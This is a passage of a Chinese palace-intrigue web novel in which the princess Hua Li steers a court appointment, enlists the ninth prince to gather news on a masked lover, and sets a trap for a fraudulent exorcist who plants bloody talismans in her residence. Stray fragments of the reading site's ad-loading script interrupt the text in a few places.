近侍领着华梨来到翠玉阁内,里面不止有皇帝,还有其他人。 厚重的珠帘遮挡住华梨投向内部的目光,她掀开珠帘,伴随珠帘碰撞发出的清脆响动,坐在高位上面目和蔼的皇帝开口:“阿梨来了,这么些天不见,倒是令朕有些想念。” 皇帝的一番话让在场人的目光都聚集到华梨身上。 华梨也看清翠玉阁里面有哪些人。 正是华烨的几个子女。 看清人后,华梨想扯个假笑都扯不出来。 毕竟这里面有她极为厌烦的人。 华烨不在意华梨的冷脸,他沉吟片刻:“你们这些个五大三粗的还聚在这里做甚,刚从猎场下来,一身汗气,还不退下。阿梨这种小姑娘可同你们不甚习惯。” 他还是笑呵呵的模样,说出的话却让人不得有异议。几位殿下欲言又止,最终谁也没开口,领命退出。 等到众人退下,华梨绷着的脸略微缓和。 华烨招招手示意华梨坐在离他最近左下的位置,华梨想行礼,皇帝却先开口: “说了私底下不用行礼,还总是这么生分。” 他想了想,观华梨神态,猜道: “是不是有人惹你不快了?” 皇帝看着华梨从小长大,自认对华梨有些了解,听到华梨又冷起脸说没有,就知道肯定有人惹到华梨。 他心中还蛮好奇,如今能惹到这位小祖宗的可是没多少人。 但见华梨满脸不想多说的样子,他也不多问,只在心中感叹孩子长大了。 待到华梨落座,皇帝开口问起正事: “刑部司如今少个人,你怎么看?” 今日死在春宴上的大臣原本是刑部司的长官。 华梨见皇帝转移话题,倒没多说什么。可她也并不是很想参与这件事:“上次你不是看好那个谁吗,让他顶上去。” 见华梨满脸不在乎,皇帝失笑摇摇头,看向华梨的目光中带有试探:“你还不懂我的意思吗?我虽看好他,但他阅历尚轻,观他平日所为,为人甚是软弱,这段时间朝廷上内乱严重,他恐怕会被牵着鼻子走。” 皇帝补充:“你可知刚才那几个聚在这里是为了什么,表面是讨论此次刺杀一事,实则都是在看这个位置。” 皇帝说话温吞,和华梨是截然不同的性格。但说相貌,华映月是大美人,华梨也是数一数二的标志,作为舅舅的华烨差不到哪里去,朗目疏眉,只是眼角几道不甚明显的纹路。 华梨盯着他眼角的皱纹坚定的摇头,她向来不在意权势之争:“别把你外甥女我往火坑推,我对刑部司没有半点兴趣。” 想了想,华梨补充叫了句: “舅舅。” 皇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 帝见华梨态度坚定,也拿她没办法。他从前些年便想为华梨安排一份官职,只可惜华梨志不在此,次次拒绝他。 “你啊你,既然不愿,那就算了。不然回头同你娘讲我小话,她又该数落我。” 华梨敷衍笑笑,朝廷这趟浑水,她才不愿去搅和。 心思一转,她问道: “所以这次的事你打算怎么处理?” “能查清凶手自然将凶手查处,查不出,就得有人倒霉。” 皇帝不瞒着华梨,交代心中所想。 华梨听懂了,这是打算借刀杀人,借着这件事,再把那些手脚不干净的拉下水。 因为皇帝迟迟不立太子,底下皇子暗地里都在偷偷结党营私,拉帮结派。原本皇帝对这件事是睁一只眼闭一只眼,谁知某些人愈发嚣张,已然踩到皇帝底线。 皇帝时常同华梨唠家常、讲政务,久而久之华梨也习惯这种相处关系。 华烨于华梨,从不以皇帝身份自居,只是一个舅舅。 华梨读书学礼时曾被深深告知一件事,伴君如伴虎。但这句话尚且没有在华梨身上生效,皇帝对她甚是纵容。 纵容到华梨有时会感到莫名的恐惧。 但大多时候,华梨同华烨是有话直讲的: “我不看好大皇子和五皇子。大皇子虽是贵人所出,但占一个长字,这些年无功无错,想来经营许久。这个位置他应当没理由去争,如今看来前些日子死在夜坊中的那位应该是他的人。” 皇帝点点头:“不错。” “五皇子急功近利,惯会伪装,恐怕也不是舅舅你心中想要的人选。” 皇帝带着笑: “老五听到你这般评价他,定然要恼许久。不过也是好事,不用我担心你看不透老五那小子,被他白白骗了去。他打小围着你转,你倒是将他看的真切。只可惜了他的一番心思。” 说是可惜,皇帝眼中并无真切的惋惜。 五皇子于华梨利用之心居多。 他清楚长公主定不舍得将华梨送入皇室,故而一直将华梨当作小妹,以此拉近和华梨的关系。 但在具体实施中,他是否引诱华梨对自己产生爱慕那就不得为知。 毕竟华梨对他的态度始终算不得好。 华梨:“若说我推荐谁,九皇子就不错,他之前未有论功行赏,这次顶替上去未见的能讨得多少好处,另外,他性子挺刚直的,应当不会被轻易拿捏。” 华梨这句带有嘲弄,皇帝听出不对劲: “他同你有过矛盾?” “大概。”华梨面上看不出什么,“他之间骂过我是纨绔子弟,对我甚是不客气。” “你算他半个姐姐,他这般辱没你,实在过分。”皇帝皱了皱眉,“你还这般为他着想…… 华梨: “这可不是为他好,只是不忍见舅舅如此纠结,况且这番几位皇子都想让自己的势力穿插进去,九皇子无甚根基,只怕要惹的其他皇子暗中针对。可又偏偏这是他第一次受重用,只怕什么困难都会往下扛。这么好的一步棋子,不走才是可惜。” “他讨到好是他的本事,但这番苦头定然少不了。” …… 两人一番交谈,华梨回府已近黄昏。 第二天传来消息,九皇子接替空缺职位。 入职刑部司。 5. 第 5 章 消息传开时,华梨刚睡醒。 她并不在乎九皇子如何,只问起昨日命案的情况。 “刑部还在调查中,据说凶手仍是长影街那边的。最近这群人活动频繁起来,总让人惶惶不安……” 在如春的絮絮叨叨中华梨用过早膳,华梨的日常极为枯燥,干的做多的事就是去花楼听曲儿。 只是最近她都没甚兴趣。 晌午,正在长公主府的后花园采花做鲜花饼,侍从来报九皇子前来拜访。 华梨想都没想:“让他滚。” 不过片刻。 侍从又来报满脸为难:“郡主,九殿下不肯走……他说一定要当面见到您。” 华梨轻啧一声,面上的表情显然又是要发起火来。 侍从在旁边看的心惊胆颤,巴不得立刻消失,心底不住暗暗唾骂九皇子没有眼色。 “……让他滚进来。” 华梨最终没再晾着九皇子,让侍从将人带过来。 长公主府中的布局一直以华梨的喜好为主,四处多种植花草树,其中以梨树居多,春日梨花翩飞,美不胜收。 华百川跟着侍从走到后院,发觉在皇宫里尚且名贵的花草,在长公主府却寻常不过,四处可见。 华百川收回眼神,觉得外界谣传长公主府富可敌国是有些道理的。 将军过世后,长公主搬回长公主府中,陛下怜惜长公主,特意下令将长公主府扩建。导致长公主府规模十分之大,华百川走上许久,才走到后花园。 远远见的华梨一身青裙衫,头戴帷帽。 华百川恭敬行礼,不带最初看见华梨时的嘲讽,眉目端正:“表姐好。” 隔着面纱,华百川不确定华梨有没有看自己,领路侍从退下,华梨把他晾在一边,明显不想搭理他。 风吹花丛,几朵枝叶瘦小的花草被吹到华百川手旁,华百川紧张时会做出无意识的小动作,他忍不住将那几朵小花掐断,在手心碾碎。 浅蓝色的汁液把他的手指尖染上怪异的颜色。 就在这时,华梨掀开帷帽。 微风吹的纱层翻飞,她晶亮的眸子透过清淡的花香望着华百川,盯着对方指尖不咸不淡说道:“那是蓝瑾草,一朵千银。” 华百川没反应过来,手中无辜可怜的花朵掉落在地:“啊?” 华梨:“蓝瑾草,一朵千银。” 华百川这才反应过来,登时起了一身冷汗:“怎么会这么贵?!” 众所周知,当今陛下子嗣众多,他作为一个不受宠的皇子,手上能拿出的银钱并不多。 千银对华梨来说不过是小数目,但对他是一笔巨大开销。 华梨看着华百川一脸为难的模样,嗤笑一声,没想到对方这般蠢笨,她随意捏造吓唬人的话,他轻易就相信了。 正打算开口,谁料下一刻华百川视死如归般认下这笔天降横祸: “是我不对,明日就为表姐送来。这次前来本想为之前的所作所为向表姐道歉,多谢表姐大人不记小人过,非但不记恨我先前的出言不逊,反而向父皇举荐我。” 华梨:“……” 她松手放下帷帽遮住神色的怪异。 华梨和华百川不对头,华百川此人自认一身正气,明明比她年岁小,同她却却没有半点尊重,次次见她都没有好脸色,如今突然大变态度,倒让她拿不准。 想来是以为能任职刑部司是有她的功劳。 华梨透过半透明的白纱望了眼华百川,寻思其中也许还有皇帝舅舅敲打的功劳。 她走到华百川面前,将手上的篮子递过去:“赔偿就不必了,采满三篮子送去灶房,夜晚我要让周大娘给我做鲜花饼。” “毕竟我不缺钱,看你倒霉到是挺乐意的。” 知道皇帝有意缓和她和九皇子的关系,华梨却并没有受着,她随心所欲惯了,纵使自己别有目的,也不会故意对他人和颜悦色: “你入职刑部司,我也没帮你说好话,别往自己脸上贴金。又不是什么好差事,你真搞砸了才遂我意。” 华百川懵然接过篮子。 他品着华梨说的话,若以往他定要和华梨吵起来,可细细思索,这些话不痛不痒,远远没有她对五哥说的过分。 五哥尚能理解华梨的脾气,他又有什么可说的? 况且他没少被皇妹打骂。 华梨好歹从不动手。 于是华百川越想越觉得华梨是在关心自己,感动道:“多谢表姐关心!我知道我的实力多有不足,表姐顶着压力推荐我,我一定会努力做好,不给表姐丢人!” “……谁关心你了?” 华梨之前就觉得华百川蠢,现在更然。 她忍不住往外多走几步,生怕这股子傻气过到自己身上。 退到华梨感觉合适的距离,华梨扬起下巴,耳间珍珠吊坠隐约可见:“你知道我今日为何愿意放你进来吗?” 华百川不知为何华梨突然问这个,老实作答:“因为我态度诚恳?” “……你若真想感激我,之后若有长影街相关的消息,都送至我跟前。” 那人行踪不定,华梨到现在也不过的了个半真半假的姓名,若不留意对方行踪,只怕很难再有遇见的机会。 华梨手上也有能用之人,可总归不在刑部。 当时同皇帝提到华百川适合这份差事时,华梨存有利用华百川的心思。 华百川是皇室中难得的心思直白之人,若能对她改观,她自可拿捏一番。 “这,这不太好吧……”华百川挠挠头,神色犹豫。 “有什么不好?先不说你能不能碰到其中重要消息,就算你碰到了,大可不传信于我。我也没打算全指望你个家伙。” “那也行。”华百川下意识忽略华梨的嘲讽,想到长影街现状,他正色问道:“但你得先同我讲,你为何要知道长影街的消息。长影街错综复杂,我怕表姐吃亏受骗。” 华梨思索片刻,倒是认真回了:“我要找个人。” “什么人?” “情夫。” 华梨毫不犹豫,上下唇瓣一碰,吐出两个冰冷的字眼。 华百川如遭雷劈,脸上震惊的表情怎么也收不下去:“情、情夫?!” 实在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不怪他震惊,华梨看上去高不可攀,就算对他五哥都是不假辞色,实在难以想象这种人会暗地养情夫。 “对,他说自己的身份见不得光,也不让我同其他人讲。前些日子说是家里有老母要养,骗了我的钱,再不见人。他经常在长影街出没,我同他私会时他偶尔身上带血,我怀疑他是干杀手这一行的,因为不想拖累我,所以选择放手。” 华梨素手撩起帷帽垂下的白纱,纤细的指尖搭在帽沿,眼神定定看着华百川:“我得找到他,要个答案。” 看着华梨清澈水润的眼眸,华百川一阵恍惚。 他崇拜苏将军,故而对整日游手好闲的华梨十分抵触。 但在这种情况下,华梨不计前嫌推举了他,这份嫉妒忽而云消雾散,变成了好感。 本以为华梨是在开玩笑,可华梨神色太正常了,他分不清是真是假。 想到华梨可能为一个男人伤神,他心中竟生出几分怜惜。 “他叫什么?” “沈贰。” 华百川没忍住,怒道: “这么假的名字你也信?我看他就是……”后面的话,看到华梨神色,华百川不忍再说。 “他说他大哥叫沈壹,因为是家中没个读书的,所以取名难免随意了些。” 见华梨还替那人说话,华百川只得将心中骂爹的话吞回去。 男人能有什么好东西?他作为男人能不懂吗?摆明就是对方玩弄华梨感情,华梨作为千娇万贵养大的闺阁小姐,纵然脾气大,可终究是个不通情爱的小姑娘。 长的好看,家中又少个长辈,最易受骗。 华百川烦躁地挠挠头,不是很想答应这件事。 “你也莫要担心我受骗,等我见到他,我自己会问个清楚。你只需要留意动静,其他的不要多管。” 华梨说话声音冷冷的,没半分求人的态度。华百川没在意,他几厢权衡,最终点了点头。 毕竟他也不是很想欠人情,找个人而已。 大不了找到人后他陪着华梨去见,不让华梨被坏男人骗了去。 华百川问“沈贰”的长相,华梨说不知。 “不知?” 华百川太阳穴跳了跳,觉得不靠谱,“所以你们平时见面,他都蒙着面?” “嗯,他说被万一被仇家看见,他会被追杀,家人也会不安全。” “好好好……” 华百川被气的没了脾气,连说了三个好。 华梨是他表姐,二人关系刚缓和没多久,华百川不好对华梨多说什么,只是在心中想:若长公主、亦或者父皇知道这件事,铁定要气死。 仿佛看穿华百川心中所想,华梨警告他:“这件事不许对外声张,舅舅和母亲这两边我自有定夺。我要是听到半点流言蜚语,别怪我到时候扒了你的皮做扇面。” 华百川无奈,也知此事不可轻易外传,他应下。 见华百川同意,华梨满意的点点头,心情好起来:“这件事我是放心你的人品才叫给你,你可不要辜负我的信任。好了,花篮子交给府内侍从吧,笨手笨脚的,天黑了都未必能做完。” 6. 第 6 章 等到华百川意识到自己被华梨忽悠,已是好几日之后。 华百川写了整张纸的话指责华梨恐吓他的行径,华梨收到信时,还以为是他传来有关长影街的消息,没想到是自己随口编造的“蓝瑾草”终于被华百川发觉不对劲。 华梨很是无语。 好在后来虽然华百川被耍,仍为华梨提供消息。 这些消息十分零散,但总归聊胜于无。 “郡主。” 华梨支着脑袋在看长公主寄回来的信,披散的青丝垂在肩膀落到桌案上,银白宽袖下滑,露出白玉似的手腕。 听到动静,她将信纸放下:”何事?” “您上次吩咐的道士已经到了府上,现在正在客堂候着。” “知道了。” 因为怀疑自己鬼上身,华梨在留意“沈贰”的消息时,还让管事在民间找有名的驱鬼道士。 华梨拿起镇纸压在信上。 “走吧。” 到了客堂,华梨路过那道士时闻到对方身上有股腥臭味,她微不可见地皱起眉头。 道士穿着身粗布衣衫,面容普通,蓄有长胡,有几分世外高人的模样。 “见过长阳郡主。”道士开口,眼神在华梨身上游走一圈,“郡主可否同老道讲讲具体详情?” 华梨此时已然没了同道士交流的心思,她不耐地开口: “驱鬼就驱鬼,问这么多是想做什么。” 道士在来之前已做好准备,晓得华梨脾气古怪不好对付,此刻面对华梨如此他并未慌乱,不急不缓说道: “世间鬼分千种,老道得根据郡主您的具体详情判断是何种邪祟缠上您,以此更好对症下药。” 华梨抬起眼,没被忽悠: “通过我的描述你才能判断是何种鬼?你的道行是没办法把这鬼祟直接杀掉吗。” “这、这……”道士犹豫地看向周围,华梨晓得他是什么意思,她虽觉得道士多是装模作样,可华梨依旧按照他的意思屏退侍从。 见客堂里只剩下自己和华梨。 道士抬起袖子擦干脸上的冷汗: “郡主有所不知,我甫一进府便感受到巨大的阴秽气息,若是寻常鬼怪,老道我大可做法收复,可长公主府上的这个……老道必须谨慎为上啊!” 道士说的头头是道,可华梨仍不信他。 但这道士太会唬人,华梨被他的一番话说住,后背发毛。 她在心中几番斟酌才道:“我总感觉我会做出些很莫名其妙的事,虽心中察觉怪异,但仍会不受控制。” 老道听到华梨的描述脸色变得愈发严肃:“郡主可否细讲?” 华梨斩钉截铁毫不犹豫道:“不可。” “……”老道一口气不上不下,但想到丰厚的酬金,他又耐心开口: “能影响到活人的行为,这种怪事老道见过一例。那家的小姐本是个乖巧听话的姑娘,谁想到后来常常夜半出门,用私房钱供给陌生男子,还同那男子幽会。老道去了之后察觉有异,顺藤摸瓜发觉那小姐是被鬼上身,了解那鬼在何处之后,自然是除鬼,恶鬼消散后,那小姐便恢复正常。” “郡主如若不信,可以去城东赵家打听打听。” 这情况确实和她有些类似,但华梨隐隐感到不对。 她原本只是抱着试试的态度,想寻个道士在府上做法,求个心理安慰,谁想到这个道士将情况说的这般严重。 华梨对鬼的存在持怀疑态度,加之不喜这个道士,道士愈说有鬼,她越觉得其中有猫腻,越不相信其中有鬼。 “你说我被鬼上身?” 老道士知道华梨和以往那群人不一样,华梨极为不好对付。 于是他拿出第二套说辞: “非也非也。老道观郡主周身气运正常,不大像被鬼上身,反倒像是被鬼影响,老道猜想,也许是府上其他人影响到郡主你。” “若郡主信得过老道,且让老道在府上住上两日了解情况,第三日老道可布阵施法,找出原因所在。” 华梨仔细思量,心觉无所谓,不过住上两日,要是拿不出让她满意的结果,她定让这道士好看。 道士还有两个阴柔长相的徒弟,师徒三人都让华梨看不顺眼,华梨吩咐将人安排在东厢房,那里距离华梨房间远。 之后华梨倒真叫人去城东打听“鬼上身”的事,事情确实如同老道士所说。那姑娘家本想瞒下这件事,谁料姑娘出嫁后,夫家发现对方并非完璧之身,闹到娘家,才把这桩子事抖出去。 老道士亦因这件事出名。 听完侍女的汇报,华梨第一反应不是这个老道士多么能力高超,而是感到恶寒。 “那姑娘最后怎么样了?” “被休回娘家,没过多久便上吊自尽了。” 华梨沉默。 她总觉得怪异。 这件事太像为话本编纂的、为人们饭后闲谈的故事。 把所有偶然性的东西层层扣上,好像提到蜘蛛和蝴蝶,人们首先会想到蜘蛛用蜘蛛网捕食蝴蝶。 可事实不是所有蜘蛛都会吐丝织网,就算吐丝织网,谁说它一定会捉到蝴蝶。 赵小姐表面乖顺,私底下同陌生男子来往就被家人认为身上有鬼祟,本就是不合理的。 可老道士偏偏也说有鬼,还解决了鬼物。 倘若没有鬼,这其中的真相又该如何拼凑? “那个同赵小姐幽会的男人后来怎么样了?” “赵小姐身上的鬼被除去后,便同人断了关系,听说是去其他地方当了私塾先生。” “你再查查今日那个抓鬼道士的其他事迹,包括赵小姐出事之前的那些。” 华梨对这件事起了探究的心思。 究竟是人心有鬼还是世间真的有鬼,她现在愈发偏向前者,也更加怀疑老道士留在长公主府另有所图: “那个老道士,找暗卫盯着。” 如春疑惑:”他有什么问题吗?” “盯着就是了。”华梨没有过多解释,想到那道士当时说的如此贴切她的心态,她问: “那老道士是不是问了我的事?” 如春点头,而后又摇头:“是他的两个徒弟,但事关郡主,奴婢并未透露任何消息。” 府上侍从只有如春一人知晓华梨在暗中找人,老道士也不可能接触到自己的暗卫。 华梨沉思,总感觉自己忽略了什么。 蓦然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她忆起春宴上被自己询问的两三个侍从。 华梨心中有了隐约的答案。 她是京城中恶名远扬的世家小姐,所做作为都会被有心之人放大,恐怕是那日她的无意间询问叫人传了出去,这道士捕风捉影得到这些消息,略微推测,得出自己大概在为什么忧心。 “他的两个徒弟也盯着。” 如春应是。 她本不想询问,但见华梨神色轻松,心情颇好的样子,忍不住低声问道:“郡主,若那三人有问题,大可赶走另外寻人,何必大费周章?” “看他不快,想找点事来。” 作为华梨最信任的侍女,如春对华梨这种喜欢找乐子的行为表示理解。 华梨:“顺便告诉那两个徒弟,就说是我吩咐,让他们在府上布置些驱邪避灾的东西。” 若她的态度一直冷淡如此,师徒三人说不定会放弃原本的计划,她打算引蛇出洞,悄悄这三人究竟要怎么“驱鬼”。 华梨垂眸看向案上长公主送来的信。 窗外大片竹林轻晃,竹叶沙沙的声音透过支窗送进春风,信纸边角被风吹起。 下面的文字露出。 她拿起镇纸放在旁侧,将信折好:“上次的衣服是不是还有几套未送到府上,让人催催。夏衣也该裁了,就……” 华梨沉吟:“还让上次那个圆脸小姑娘过来,看着顺眼。” “是。” 圆脸小姑娘名叫钱湘,论年纪比华梨大上五岁。 钱湘这次明显比上次到公主府要放松,她将衣服送到长公主府的大侍女手上,大侍女对她很是客气,一副温柔笑意:“郡主对你很是心喜,要我将夏衣的制作也交到你手上,你可莫要辜负郡主的信任。” 她领着钱湘去领布料。 钱湘注意到长公主府多了很多奇怪的东西,她停下脚步,看着漆红圆柱上贴的黄色符咒,忍不住暗暗吐槽了一句: “好邪门的布置。” 说完她意识到自己过了火,登时闭口瞥了眼如春。 如春脸上轻柔的笑意不变,解释道:“郡主怀疑府上有脏东西,请民间抓鬼道士来府上作法,府上这才有了这些东西。” 这世上哪有什么鬼。 钱湘在心中吐槽。 越是有钱的主儿越愿意相信这些虚无飘渺的东西,喜欢用钱买心安理得。 钱湘想提醒如春,但又没什么立场,如春看上去也不想过多谈论这件事。钱湘决定不惹是生非,做好本职就行。 总归不是自己的钱。 她领完布料回到锦衣阁,有了长公主府这笔长期大生意,钱湘在日子愈发好过。 路过糕点铺时,想到邻居家体弱多病的漂亮小妹,钱湘买了点糕点带回去。 她敲门,见沈确应门,十分惊讶地脱口而出:“原来你还知道自己家里有个妹妹啊。” 沈确家有个身体不好的妹妹,名叫姜不离,她寻思也许是一个随母姓一个随父姓,故而兄妹俩姓氏不同。 她本和这家人不熟悉,直到一天姜不离敲响她的门,询问她能否帮忙抓药,她才晓得沈确经常忙到个把月不归家。 这之后钱湘本着热心肠,常常串门帮助姜不离。 7. 第 7 章 沈确没理她,眼睛冷冷盯着钱湘。 钱湘被这种冷漠的眼神看的发毛,心想沈确实在生的好看,但每次钱湘碰见她,都有些发怵。 也不知姜小妹和他待起来会不会害怕。 轻咳两声,钱湘晃了晃手上的糕点掩饰自己莫名的害怕:“我来找姜小妹的。” 沈确没说话,侧过身子放钱湘进屋。 “姜小妹我来啦!” 宅子很小,院中一口水井,葡萄架搭在上面爬满暗绿的叶子,角落种了棵枣子树。 沈确确定钱湘没有威胁后,拐进灶房继续准备晚饭。 屋内钱湘和姜不离分享今日的见闻,她讲着讲着讲到华梨: “也不知那个华小姐遇到了什么事,今日我去长公主府的时候看见府内贴了许多黄符。姜小妹你说,这世上哪里有鬼,不过自己吓自己,可惜华小姐这般破费,最终也不过是把钱给了可恨的骗子。” “果然没什么能比骗子更让人可恨的了……” 钱湘喋喋不休,沈确耳目聪敏,端着饭菜放在桌上时听见一门之隔的谈论。 他一顿。 不知心中在想什么。 . 华梨嫌少关注京中对自己的评价,因为大多是不好的,她听了心烦。 周遭人更不敢在华梨面前提及。 在吩咐完主要事情后,华梨打听起最近京中流言。 除去以往那些一成不变的谣言,忽的多出条她对哪家公子单相思的猜测。 华梨听的想笑。 不知是那三个人里谁传出来的,也不想想,当时在场的只有三个,她若想计较,轻而易举便能将人找出来。 华梨也确实这般做了。 她让人拿来春宴里的侍从名单,上面均配有肖像,华梨略微一翻,圈住三个人: “找出是谁,杀鸡儆猴。” 华梨笑呵呵的,和如春端在脸上的笑不同,她笑起来,是有人要倒霉的征兆。 华梨从不会为名声忍气吞声,亦不会惧怕被她整治的人在背后再次造谣。 是夜,月上柳梢头。 守夜的侍女忍不住困意闭眼睡着了。 两个守夜的侍卫还在强撑睡意,一阵阴风吹过,不知哪里的的黄符被风刮掉打在侍卫脸上,那侍卫将糊在脸上的符咒拿下来,感觉手感有些不对劲,黏哒哒的。 他摊开手一看,是血。 符咒背面染着红彤彤的血。 侍卫一愣,登即将符咒甩到地上,骂了句爹。 “怎么了?” 另一个侍卫问。 “他大爷的儿子,真是见了鬼了,你说咱们府上是不是真的有鬼?” 侍卫用鞋尖翻了翻地上带血的符咒,示意另一个看过去。 “这什么鬼东西?!” 那个侍卫没有他这般冷静,吓得吼出声。 胆大的那个立马抽了把他,低声骂道:“你个蠢货,叫这么大声!要是吵到郡主,有你好果子吃。” “大半夜见到这种邪门东西,我叫大点怎么了!” 话是这么说,侍卫真怕吵醒华梨睡觉,声音放小了不少。 “啧,真是麻烦。” “你说咱们这府里难不成真闹鬼了?” 两个侍卫聚在一起碎碎念念,直到华梨冷着脸推开房门。 她穿着月白色寝衣一只手拉着房门,头发披散,面色难看的可怕。 “你们在干什么?” 两个侍卫被吓一大跳:“郡、郡主?” 华梨的脸沐浴在月光下,她被渡了层银色光晕。 被无故从睡梦中吵醒的华梨显然状态不好,她捏着莫名出现在房间中带着血腥味的符,骂道:“让你们守夜就是这般守夜的?这东西谁扔到我房间的?” 两个侍从满脸惶恐,既是害怕华梨的怒火,也是对眼前莫名出现的符咒感到害怕。 “这、这东西小的也不清楚……刚才也有一张类似的东西莫名出现在小的周边。” “是我二人守夜不力,惊扰郡主好梦,望郡主恕罪!” 二人知华梨的脾性,不敢多说狡辩的话,当即低头认错领罪。一旁打瞌睡的侍女也惊醒过来,惶恐不知所然。 华梨看着面前三人,吸了口气,又觉空气闷臭,她将手上的符纸扔掉: “你们明日自己去管事那领罪。” “这些东西是那老道士带过来的,现在你们两个领着夜间巡逻队,去盘问那老道士怎么回事。” 华梨恶狠狠道: “再有谁敢吵醒我睡觉,我要他好看。” 侍卫连连应是。 那侍女聪慧,趁着两个侍从挨训的时候悄悄端了盆温水过来,华梨就着温水洗净手,仍觉有股挥之不去的腥臭,惹的她烦恼极了。 进到房间后华梨换下被弄脏的衣服,躺在榻上翻来覆去睡不着。 她摸到有个硬硬的东西在扎自己,华梨以为又是那符咒—— 说实话,大半夜华梨见到这种东西应该是害怕的。 但偏偏她的起床气大,夜半时分被腥臭味从睡梦中拉起来,醒后听到门叽叽歪歪的细琐的说话声,低头发现自己衣服被弄脏,桩桩件件,都踩在华梨的底线上。 华梨气极,自然什么都不怕。 她掀开被褥下榻趿拉鞋子,将屋子里的灯点燃。 往床上一看,不见符咒,只有张纸条。 将纸条打开看见里面的字,华梨眉毛皱起。 这是……什么字? 华梨看着如同蛇爬过的字,沉默半瞬,放在灯下看了半天,华梨终于确定上面的内容: 骗子道士危险,远离。 谁写的? 她找道士这件事并不是秘密,许多人都知晓。故意把字写的奇丑无比是害怕自己根据字迹认出他吗。 华梨把自己认识的人想了个遍,也没能想到会是谁送来的纸条。 但她知道一件事,府上的戒备还是太松散。 将纸条探入烛火中点燃,华梨打算解决完老道士的事就加强府内戒备。 不然是个人都可以随意进出长公主府。 而那老道士…… 华梨冷笑。 他一来府上就发生怪事,借口定然已经找好。 她倒是要看看对方怎么圆下整件事情。 夜里侍卫如何盘问老道士华梨不清楚,第二日中午华梨用午膳时,侍卫在旁边汇报情况: “老道长讲这是他贴的符咒作效,符咒伤到鬼祟,那鬼祟想重新找人附身才会如此。这鬼祟根据阳气来寻人,若想寻的安宁,夜晚时的让人散开,人散开后,方向变得七零八散,他就不好缠上郡主。” 今天华梨起的迟,不清楚府中状况。 侍卫心中却清楚的很,府中四处飘落带血的符咒,尤以郡主住的地方集中。 小姐郡主身边伺候的大侍女如春发了好大一通脾气,让他们趁着郡主起床前清扫干净。 这件事闹得人心惶惶,可事件中心的华梨看上去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却好像什么都不知晓。 “行,最近守夜的撤下,再问问他身上有没有可以防鬼上身的东西。” 华梨面色冷淡,侍卫不清楚华梨为何这般吩咐,但还是原话传给老道士三人。 用过午膳,如春还没回来,被华梨吩咐下去监视老道士的暗卫先来汇报情况。 华府的暗卫原本隶属皇帝,皇帝不放心华梨,害怕华梨出事,故而调派到华府保护华梨,外人并不知晓此事。 华梨很少让他们做事,因为总疑心会被上报到皇帝面前。 但这种事华梨还是很放心地交给他们。 “昨天夜里那位老道士的两名徒弟悄悄在府上四处张贴沾有血迹的黄符。之后三人聚集商量事情,但因为他们颇为谨慎,我们没能听到有用信息。” 那暗卫道:“是否需要属下解决掉他?” “不必。”华梨摆摆手,“继续跟着,另外分派几人守在屋外,我总感觉他们要做些什么。” 这些消息不至于让华梨感到惊讶。 老道士之所以能一直行骗,无非是因为能找抓鬼道士的,大多是相信有鬼存在的人。 但华梨偏偏是个意外。 只要她不信有鬼,就会看出他的手法多么拙劣。 暗卫退下没多久,被华梨吩咐到外面的如春带着消息回来了。 “郡主,他们查到了一些事。” “那个老道士叫孙德,之前因为调戏良家妇女被别人相公送进过大牢。在城东小有名气后,有许多人找他除去自家的鬼。孙德自说不赚黑心钱,他去过的大部分宅子里都没有脏东西,那些小部分被他确定有脏东西的宅邸,也在经由他手后变好。当然,这都是道听途说。具体是个什么情况,无人知晓。” “他的两个徒弟是慕名前来拜师的,身份上无甚特殊,大部分时间都跟在孙德身边。” 孙德在民间名誉极好,除却最初调戏良家妇女的污点外,再没有可疑的点。 似乎在大多数人眼中,极高的能力是可以掩盖品行的漏洞。 华梨听完这些,开口道: “这种德行有亏的人,还是不要进府的好,见了就让人不舒服。” 如春应是。 华梨点点头,她既然从头到尾就没信过这位驱鬼道士,那么在她看来,这些平静无风只是因为老道士惯会伪装。 “那些有鬼的宅邸有没有共同点?” “似乎没有。富贵人家、贫民百姓家中他都去过。具体详情无法探究,但据说他遇到所谓大鬼时,他便会住上两日,观察情况。小鬼会当天作法根除。” “这样啊……看上去毫无疑点,那你怎么看?” 被华梨点到名字,如春仔细思考片刻,未让华梨等太久: “郡主,奴婢不信世间有鬼,若让奴婢来点评,他行骗多年未被拆穿,本身就是最大的疑点,恐怕是这其中有什么未曾注意的东西。” 华梨和如春是一样的想法。 “可那会是什么呢。” 望着华梨陷入沉思,如春观察华梨脸色斟酌开口,问起自己最关心的一件事:“郡主,听说您将守夜的侍卫撤下了。” “嗯,引蛇出洞。” “万一遇到危险怎么办?” 如春脸上露出担忧的神色,柳叶眉皱起,如水的眼眸轻柔地盯着华梨。 华梨摆摆手:“我有吩咐暗卫在外面候着,不用担心,我有分寸。” “你若不放心,可以在里间守着,别让人发现就好。” 8. 第 8 章 第二日夜晚,华梨房间外的守夜侍卫被撤下,连守夜侍女都不曾有。 屋内不见半分光亮,昭示屋子中的主人已经睡下。 屋外一双眼睛静静注视着一切,半晌,他躲开巡逻队回到东厢房。 老道士见大徒弟回来,问道: “情况如何?” “她真的将侍卫撤下了。”大徒弟有些疑惑,“但我总感觉有诈。” 老道士:“怎么个有诈法?” 大徒弟想起第一次见到华梨时,华梨那副高不可攀的模样,磨了磨牙:“她上去比咱们之前见的那些人都要聪明,最初明明是对咱们不屑一顾,连传话都是让侍女过来。” 想想遇到华梨之前,他们师徒三人已经许久未受过这样冷淡的待遇。 “如今只不过过了一天,竟然这样乖巧听话?” 老道士不认同: “她们这些有点权势的本就是把眼睛长在脑门上的,这个长公主府邸的长阳郡主在京城是个出了名嚣张跋扈的主子,你能指望她跟你客气?我瞧你还是太年轻了,她显然是有求于咱们,但是落不下面子,这种人看上去不好对付,其实最为蠢笨好骗。” 老道士是他的师傅,若是以往,大徒弟还会听他的话,但是现在他的心里惴惴不安,总感觉要发生什么不好的事。 他更相信自己的直觉。 “要不师傅咱们还是随便应付了事吧……我这心里七上八下的……” 不争气的话还没说完,大徒弟被老道士抽了个耳光: “说什么屁话?!” 